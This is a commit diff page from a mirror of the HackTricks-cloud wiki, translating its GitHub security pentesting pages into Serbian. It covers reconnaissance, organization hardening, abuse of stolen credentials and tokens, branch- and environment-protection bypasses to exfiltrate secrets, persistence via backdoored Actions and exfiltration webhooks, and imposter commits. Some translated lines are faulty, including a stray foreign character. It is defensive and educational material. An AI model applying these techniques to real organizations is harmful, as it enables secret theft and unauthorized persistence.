gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-05 11:26:11 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

Browse Source
This commit is contained in:
Translator
2024-12-31 20:24:43 +00:00
parent 10e2881a9b
commit 9ce07d92a3
245 changed files with 9883 additions and 12659 deletions
Download Patch File Download Diff File Expand all files Collapse all files

256
src/pentesting-ci-cd/github-security/README.md
View File

@@ -2,41 +2,41 @@
{{#include ../../banners/hacktricks-training.md}}
## What is Github
## Šta je Github
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Na visokom nivou, **GitHub je veb sajt i usluga zasnovana na oblaku koja pomaže programerima da čuvaju i upravljaju svojim kodom, kao i da prate i kontrolišu promene u svom kodu**.
### Basic Information
### Osnovne informacije
{{#ref}}
basic-github-information.md
{{#endref}}
## External Recon
## Spoljašnje istraživanje
Github repositories can be configured as public, private and internal.
Github repozitorijumi mogu biti konfigurisani kao javni, privatni i interni.
- **Private** means that **only** people of the **organisation** will be able to access them
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
- **Public** means that **all internet** is going to be able to access it.
- **Privatni** znači da će **samo** ljudi iz **organizacije** moći da im pristupe
- **Interni** znači da će **samo** ljudi iz **preduzeća** (preduzeće može imati nekoliko organizacija) moći da mu pristupe
- **Javni** znači da će **svi na internetu** moći da mu pristupe.
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
U slučaju da znate **korisnika, repozitorijum ili organizaciju koju želite da ciljate**, možete koristiti **github dorks** da pronađete osetljive informacije ili pretražujete **curenja osetljivih informacija** **u svakom repozitorijumu**.
### Github Dorks
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
Github omogućava da **pretražujete nešto specificirajući kao opseg korisnika, repozitorijuma ili organizacije**. Stoga, sa listom stringova koji će se pojaviti blizu osetljivih informacija, možete lako **pretraživati potencijalne osetljive informacije u vašem cilju**.
Tools (each tool contains its list of dorks):
Alati (svaki alat sadrži svoju listu dorks):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Leaks
### Github Curenja
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
Molimo vas, imajte na umu da su github dorks takođe namenjeni pretraživanju curenja koristeći github opcije pretrage. Ova sekcija je posvećena onim alatima koji će **preuzeti svaki repozitorijum i pretražiti osetljive informacije u njima** (čak proveravajući određenu dubinu commit-a).
Tools (each tool contains its list of regexes):
Alati (svaki alat sadrži svoju listu regex-a):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
> Kada tražite curenja u repozitorijumu i pokrenete nešto poput `git log -p`, ne zaboravite da mogu postojati **druge grane sa drugim commit-ima** koje sadrže tajne!
### External Forks
### Spoljašnji Forkovi
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
Moguće je **kompromitovati repozitorijume zloupotrebom pull zahteva**. Da biste znali da li je repozitorijum ranjiv, uglavnom treba da pročitate Github Actions yaml konfiguracije. [**Više informacija o ovome u nastavku**](./#execution-from-a-external-fork).
### Github Leaks in deleted/internal forks
### Github Curenja u obrisanim/internim forkovima
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
Čak i ako su obrisani ili interni, može biti moguće dobiti osetljive podatke iz forkova github repozitorijuma. Proverite ovde:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
## Organization Hardening
## Ojačavanje organizacije
### Member Privileges
### Privilegije članova
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
Postoje neke **podrazumevane privilegije** koje se mogu dodeliti **članovima** organizacije. Ove se mogu kontrolisati sa stranice `https://github.com/organizations/<org_name>/settings/member_privileges` ili iz [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- _I couldn't find this info in the APIs response, share if you do_
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- _I couldn't find this info in the APIs response, share if you do_
- **More things can be configured** in this page but the previous are the ones more security related.
- **Osnovne dozvole**: Članovi će imati dozvolu None/Read/write/Admin za repozitorijume organizacije. Preporučuje se **None** ili **Read**.
- **Forkovanje repozitorijuma**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da fork-uju repozitorijume organizacije.
- **Kreiranje stranica**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da objavljuju stranice iz repozitorijuma organizacije. Ako je neophodno, možete dozvoliti kreiranje javnih ili privatnih stranica.
- **Zahtevi za pristup integraciji**: Sa ovim omogućeno, spoljnim saradnicima će biti omogućeno da zatraže pristup za GitHub ili OAuth aplikacije da pristupe ovoj organizaciji i njenim resursima. Obično je potrebno, ali ako nije, bolje je onemogućiti to.
- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_
- **Promena vidljivosti repozitorijuma**: Ako je omogućeno, **članovi** sa **admin** dozvolama za **repozitorijum** će moći da **promene njegovu vidljivost**. Ako je onemogućeno, samo vlasnici organizacije mogu menjati vidljivosti repozitorijuma. Ako ne želite da ljudi učine stvari **javnim**, uverite se da je ovo **onemogućeno**.
- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_
- **Brisanje i prenos repozitorijuma**: Ako je omogućeno, članovi sa **admin** dozvolama za repozitorijum će moći da **obrišu** ili **prenose** javne i privatne **repozitorijume**.
- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_
- **Dozvoliti članovima da kreiraju timove**: Ako je omogućeno, svaki **član** organizacije će moći da **kreira** nove **timove**. Ako je onemogućeno, samo vlasnici organizacije mogu kreirati nove timove. Bolje je da ovo bude onemogućeno.
- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_
- **Još stvari se mogu konfigurisati** na ovoj stranici, ali prethodne su one koje su više vezane za bezbednost.
### Actions Settings
### Podešavanja akcija
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
Nekoliko podešavanja vezanih za bezbednost može se konfigurisati za akcije sa stranice `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Note that all this configurations can also be set on each repository independently
> Imajte na umu da se sve ove konfiguracije takođe mogu postaviti na svakom repozitorijumu nezavisno
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- _I couldn't find an API with this info, share if you do_
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- _I couldn't find an API with this info, share if you do_
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
- **Github akcije politike**: Omogućava vam da navedete koji repozitorijumi mogu pokretati radne tokove i koji radni tokovi bi trebali biti dozvoljeni. Preporučuje se da **specificirate koji repozitorijumi** bi trebali biti dozvoljeni i ne dozvoliti svim akcijama da se pokreću.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request radni tokovi od spoljnjih saradnika**: Preporučuje se da **zahtevate odobrenje za sve** spoljne saradnike.
- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih pronađete_
- **Pokretanje radnih tokova iz fork pull zahteva**: Veoma je **nepreporučljivo pokretati radne tokove iz pull zahteva** jer će održavaoci fork porekla dobiti mogućnost korišćenja tokena sa dozvolama za čitanje na izvorni repozitorijum.
- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih pronađete_
- **Dozvole radnog toka**: Veoma se preporučuje da **samo date dozvole za čitanje repozitorijuma**. Ne preporučuje se davanje dozvola za pisanje i kreiranje/odobravanje pull zahteva kako bi se izbegla zloupotreba GITHUB_TOKEN-a datog pokrenutim radnim tokovima.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrations
### Integracije
_Let me know if you know the API endpoint to access this info!_
_Javite mi ako znate API krajnju tačku za pristup ovim informacijama!_
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
- **Politika pristupa aplikacijama trećih strana**: Preporučuje se ograničiti pristup svakoj aplikaciji i dozvoliti samo potrebne (nakon pregleda).
- **Instalirane GitHub aplikacije**: Preporučuje se dozvoliti samo potrebne (nakon pregleda).
## Recon & Attacks abusing credentials
## Istraživanje i napadi zloupotrebom kredencijala
For this scenario we are going to suppose that you have obtained some access to a github account.
Za ovaj scenario pretpostavićemo da ste dobili neki pristup github nalogu.
### With User Credentials
### Sa korisničkim kredencijalima
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
Ako nekako već imate kredencijale za korisnika unutar organizacije, možete **samo da se prijavite** i proverite koje **preduzetničke i organizacione uloge imate**, ako ste običan član, proverite koje **dozvole imaju obični članovi**, u kojim **grupama** ste, koje **dozvole imate** nad kojim **repozitorijumima** i **kako su repozitorijumi zaštićeni**.
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
Imajte na umu da se **2FA može koristiti** tako da ćete moći da pristupite ovim informacijama samo ako takođe možete **proći tu proveru**.
> [!NOTE]
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
> Imajte na umu da ako **uspete da ukradete `user_session` kolačić** (trenutno konfigurisano sa SameSite: Lax) možete **potpuno imitirati korisnika** bez potrebe za kredencijalima ili 2FA.
Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
Proverite odeljak u nastavku o [**zaobilaznicama zaštite grana**](./#branch-protection-bypass) u slučaju da je korisno.
### With User SSH Key
### Sa korisničkim SSH ključem
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
Github omogućava **korisnicima** da postave **SSH ključeve** koji će se koristiti kao **metoda autentifikacije za implementaciju koda** u njihovo ime (2FA se ne primenjuje).
Sa ovim ključem možete izvršiti **promene u repozitorijumima gde korisnik ima neke privilegije**, međutim ne možete ga koristiti za pristup github API-ju da enumerišete okruženje. Međutim, možete **enumerisati lokalne postavke** da dobijete informacije o repozitorijumima i korisniku kojem imate pristup:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Ako je korisnik konfigurisao svoje korisničko ime kao svoje github korisničko ime, možete pristupiti **javnim ključevima koje je postavio** na svom nalogu na _https://github.com/\<github_username>.keys_, možete proveriti ovo da potvrdite da li se privatni ključ koji ste pronašli može koristiti.
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključiću moći će da **pokrene projekte iz repozitorijuma**. Obično, na serveru sa različitim deploy ključevima, lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu se odnosi.
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
#### GPG Ključevi
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Kao što je objašnjeno [**ovde**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), ponekad je potrebno potpisati commit-e ili biste mogli biti otkriveni.
Proverite lokalno da li trenutni korisnik ima neki ključ sa:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Sa korisničkim tokenom
### With User Token
Za uvod o [**korisničkim tokenima proverite osnovne informacije**](basic-github-information.md#personal-access-tokens).
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
Korisnički token može biti korišćen **umesto lozinke** za Git preko HTTPS-a, ili može biti korišćen za [**autentifikaciju na API preko osnovne autentifikacije**](https://docs.github.com/v3/auth/#basic-authentication). U zavisnosti od privilegija koje su mu dodeljene, možda ćete moći da izvršite različite radnje.
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
Korisnički token izgleda ovako: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### Sa Oauth aplikacijom
### With Oauth Application
Za uvod o [**Github Oauth aplikacijama proverite osnovne informacije**](basic-github-information.md#oauth-applications).
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
Napadač može kreirati **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Ovo su [opsegovi koje Oauth aplikacija može zatražiti](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Uvek treba proveriti tražene opsegove pre nego što ih prihvatite.
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
Pored toga, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup trećim aplikacijama** informacijama/repozitorijima/radnjama vezanim za organizaciju.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
### Sa Github aplikacijom
### With Github Application
Za uvod o [**Github aplikacijama proverite osnovne informacije**](basic-github-information.md#github-applications).
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
Napadač može kreirati **malicious Github aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje.
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Pored toga, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup trećim aplikacijama** informacijama/repozitorijima/radnjama vezanim za organizaciju.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
## Kompromitovanje i zloupotreba Github akcije
## Compromise & Abuse Github Action
There are several techniques to compromise and abuse a Github Action, check them here:
Postoji nekoliko tehnika za kompromitovanje i zloupotrebu Github akcije, proverite ih ovde:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Branch Protection Bypass
## Obilaženje zaštite grane
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
- **Zahtevajte određeni broj odobrenja**: Ako ste kompromitovali nekoliko naloga, možete jednostavno prihvatiti svoje PR-ove iz drugih naloga. Ako imate samo nalog sa kojeg ste kreirali PR, ne možete prihvatiti svoj PR. Međutim, ako imate pristup **Github Action** okruženju unutar repozitorijuma, koristeći **GITHUB_TOKEN** možda ćete moći da **odobrite svoj PR** i dobijete 1 odobrenje na ovaj način.
- _Napomena za ovo i za ograničenje vlasnika koda da obično korisnik neće moći da odobri svoje PR-ove, ali ako možete, možete to zloupotrebiti da prihvatite svoje PR-ove._
- **Odbacite odobrenja kada su novi commit-ovi poslati**: Ako ovo nije postavljeno, možete poslati legitiman kod, čekati da ga neko odobri, a zatim staviti maliciozni kod i spojiti ga u zaštićenu granu.
- **Zahtevajte preglede od vlasnika koda**: Ako je ovo aktivirano i vi ste vlasnik koda, mogli biste napraviti **Github Action da kreira vaš PR i zatim ga odobrite sami**.
- Kada je **CODEOWNER datoteka pogrešno konfigurisana**, Github se ne žali, ali je ne koristi. Stoga, ako je pogrešno konfigurisana, **zaštita vlasnika koda nije primenjena.**
- **Dozvolite određenim akterima da zaobiđu zahteve za povlačenje**: Ako ste jedan od ovih aktera, možete zaobići zaštitu zahteva za povlačenje.
- **Uključite administratore**: Ako ovo nije postavljeno i vi ste administrator repozitorijuma, možete zaobići ovu zaštitu grane.
- **PR otmica**: Možda ćete moći da **modifikujete PR nekog drugog** dodajući maliciozni kod, odobravajući rezultantni PR sami i spajajući sve.
- **Uklanjanje zaštite grane**: Ako ste **administrator repozitorijuma, možete onemogućiti zaštite**, spojiti svoj PR i ponovo postaviti zaštite.
- **Obilaženje zaštita za slanje**: Ako repozitorijum **samo dozvoljava određenim korisnicima** da šalju push (spajaju kod) u granama (zaštita grane može štititi sve grane specificirajući wildcard `*`).
- Ako imate **pristup pisanju u repozitorijumu, ali vam nije dozvoljeno da šaljete kod** zbog zaštite grane, još uvek možete **napraviti novu granu** i unutar nje kreirati **github akciju koja se aktivira kada se kod pošalje**. Kako **zaštita grane neće štititi granu dok ne bude kreirana**, ovo prvo slanje koda u granu će **izvršiti github akciju**.
## Bypass Environments Protections
## Obilaženje zaštita okruženja
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
Za uvod o [**Github okruženju proverite osnovne informacije**](basic-github-information.md#git-environments).
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
U slučaju da se okruženje može **pristupiti sa svih grana**, **nije zaštićeno** i možete lako pristupiti tajnama unutar okruženja. Imajte na umu da možete pronaći repozitorijume gde su **sve grane zaštićene** (specifikovanjem njihovih imena ili korišćenjem `*`), u tom scenariju, **pronađite granu u kojoj možete poslati kod** i možete **izvući** tajne kreirajući novu github akciju (ili modifikujući jednu).
Napomena, možete naići na ivicu slučaja gde su **sve grane zaštićene** (putem wildcard `*`) i specificirano je **ko može slati kod u grane** (_to možete specificirati u zaštiti grane_) i **vašem korisniku nije dozvoljeno**. I dalje možete pokrenuti prilagođenu github akciju jer možete kreirati granu i koristiti okidač za slanje preko nje same. **Zaštita grane dozvoljava slanje u novu granu, tako da će github akcija biti aktivirana**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu granu** i nećete moći da je izmenite, ali do tada ćete već izvući tajne.
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
## Persistencija
## Persistence
- Generišite **korisnički token**
- Ukradite **github tokene** iz **tajni**
- **Brisanje** rezultata **workflow-a** i **grana**
- Dajte **više dozvola celoj organizaciji**
- Kreirajte **webhook-ove** za exfiltraciju informacija
- Pozovite **spoljašnje saradnike**
- **Uklonite** **webhook-ove** koje koristi **SIEM**
- Kreirajte/izmenite **Github Action** sa **bekdoor-om**
- Pronađite **ranjivu Github Action za injekciju komandi** putem **modifikacije** vrednosti **tajne**
- Generate **user token**
- Steal **github tokens** from **secrets**
- **Deletion** of workflow **results** and **branches**
- Give **more permissions to all the org**
- Create **webhooks** to exfiltrate information
- Invite **outside collaborators**
- **Remove** **webhooks** used by the **SIEM**
- Create/modify **Github Action** with a **backdoor**
- Find **vulnerable Github Action to command injection** via **secret** value modification
### Impostor Commit-ovi - Bekdoor putem repo commit-ova
### Imposter Commits - Backdoor via repo commits
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
U Github-u je moguće **napraviti PR za repo iz forka**. Čak i ako PR **nije prihvaćen**, **commit** id unutar originalnog repoa će biti kreiran za fork verziju koda. Stoga, napadač **može da se oslanja na korišćenje specifičnog commit-a iz naizgled legitimnog repoa koji nije kreirao vlasnik repoa**.
Kao [**ovaj**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
Za više informacija proverite [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
{{#include ../../banners/hacktricks-training.md}}

570
src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
View File

@@ -4,389 +4,371 @@
## Basic Information
In this page you will find:
Na ovoj stranici ćete pronaći:
- A **summary of all the impacts** of an attacker managing to access a Github Action
- Different ways to **get access to an action**:
- Having **permissions** to create the action
- Abusing **pull request** related triggers
- Abusing **other external access** techniques
- **Pivoting** from an already compromised repo
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
- **rezime svih uticaja** napadača koji uspe da pristupi Github Action
- Različite načine za **pristup akciji**:
- Imajući **dozvole** za kreiranje akcije
- Zloupotreba **okidača** povezanih sa pull request-om
- Zloupotreba **drugih tehnika spoljnog pristupa**
- **Pivotiranje** iz već kompromitovanog repozitorijuma
- Na kraju, odeljak o **tehnikama post-eksploatacije za zloupotrebu akcije iznutra** (uzrokovanje pomenutih uticaja)
## Impacts Summary
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Za uvod o [**Github Actions proverite osnovne informacije**](../basic-github-information.md#github-actions).
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
Ako možete **izvršiti proizvoljni kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da:
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
- **Compromise deployments** and other **artifacts**.
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
- **Uk盗ite tajne** montirane na pipeline i **zloupotrebite privilegije pipeline-a** da dobijete neovlašćen pristup spoljnim platformama, kao što su AWS i GCP.
- **Komprimujete implementacije** i druge **artefakte**.
- Ako pipeline implementira ili skladišti resurse, mogli biste izmeniti konačni proizvod, omogućavajući napad na lanac snabdevanja.
- **Izvršite kod u prilagođenim radnicima** da zloupotrebite računske resurse i pivotirate na druge sisteme.
- **Prepišete kod repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
Ova "**tajna**" (koja dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se daje kada administrator omogući ovu opciju:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Ovaj token je isti koji će **Github aplikacija koristiti**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note that the token **expires after the job has completed**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Napomena da token **isteče nakon što je posao završen**.\
